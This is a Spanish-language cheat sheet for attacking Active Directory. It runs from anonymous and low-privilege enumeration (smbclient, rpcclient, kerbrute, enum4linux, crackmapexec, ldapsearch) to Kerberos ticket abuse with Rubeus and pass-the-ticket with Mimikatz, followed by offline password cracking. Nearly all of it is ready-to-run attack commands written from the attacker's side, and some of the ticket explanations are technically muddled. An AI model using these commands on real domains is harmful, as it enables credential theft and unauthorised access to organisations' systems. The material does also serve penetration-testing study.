El active directory es un servicio de directorio de Microsoft que facilita la gestión y organización de recursos en una organización. Funciona como un repositorio centralizado de información sobre usuarios, grupos, computadoras y otros objetos, permitiendo su administración de forma eficiente.
En el peor de los casos no tendríamos ninguna credencial inicial, en este caso se puede intentar obtener info con NULL SESSIONS:
#Mostrar recursos compartidos disponobles en el server objetivo smbclient -L \\<DOMINIO> -l <IP_server_objetivo> -N #conexión a NetBIOS de forma anónima rpcclient -U " -N <IP_server_objetivo> #Enumeración de los nombres de usuario por fuerza bruta con una lista de usuarios a probar kerbrute userenum -d <dominio> <listado_usuarios> #Enumeración de información de windows y samba sin usar credenciales enum4linux -a <IP_server_objetivo> #Enumeración de hosts samba con acceso anónimo habilitado crackmapexec smb <IP_server_objetivo> -u " -p "
Si se tienen credenciales de algún usuario no privilegiado del dominio
#Busca información sensible consultando todos los objetos LDAP a los que pueda acceder. ldapsearch -h <dominio> -D '<usuario>@<dominio>' -w <contraseña> -b 'dc=<nombre_dominio>, dc=<extension_dominio>' #Identifica los servicios de windows usando la interfaz MSRPC python3 services.py <dominio>/<usuario>:<contraseña>@<IP_Objetivo> list # Recopila datos sobre los usuarios del dominio y sus correspondientes direcciones de email python3 GetAdUsers.py <dominio>/<usuario>:<contraseña>@<IP_Objetivo> -dc-ip <IP_Objetivo> #Enumera grupos de dominio, grupos locales, usuarios conectados, identificadores, sesiones, usuarios de dominio... crackmapexec smb <IP Objetivo> -u '<Usuario>' -p '<Contraseña>' --groups --local-groups --loggedon- users --rid-brute --sessions --users --shares --pass-pol
En caso de tener el nombre de usuario y el NT Hash se podrían obtener los credenciales por fuerza bruta
Explota debilidades en el protocolo kerberos para obtener tickets de servicio cifrados con la contraseña de usuario. se pueden usar herramientas como rubeus en la máuqina comprometida con el siguiente comando:
.\Rubeus.exe tgtdeleg
Una vez obtenido el TGT, el atacante usa el siguiente comando para obtener un Ticket de servicio:
.\Rubeus.exe asktgt /user:<nombre_usuario> /rc4:<hash> /service:<Servicio> /ptt
Ahora el atacante tiene un ticket de servicio para el servicio que puede almacenar para su uso posterior. Este ticket puede usarse con herramientas como hashcat o john the ripper para descifrar la contraseña.
Se utilizan tickets de kerberos previamente obtenidos para acceder a recursos protegidos. Con MimiKatz se puede realizar el siguiente ataque:
El atacante descarga y ejecuta la herramienta en un sistema comprometido:
.\mimikatz.exe
Tras eso, se utiliza el siguiente comando paramostrar los tickets almacenados en el sistema:
mimikatz# sekurlsa::tickets
Se identifica un ticket de servicio (TGS)
mimikatz# sekurlsa::tickets/service:<nombre_servicio>
Tras eso, se ejecuta el siguiente comando para inyectar el TGS en el sistema, permitiendo su uso sin conocer la contreña:
mimikatz# kerberos::ptt <ticket_de_servicio>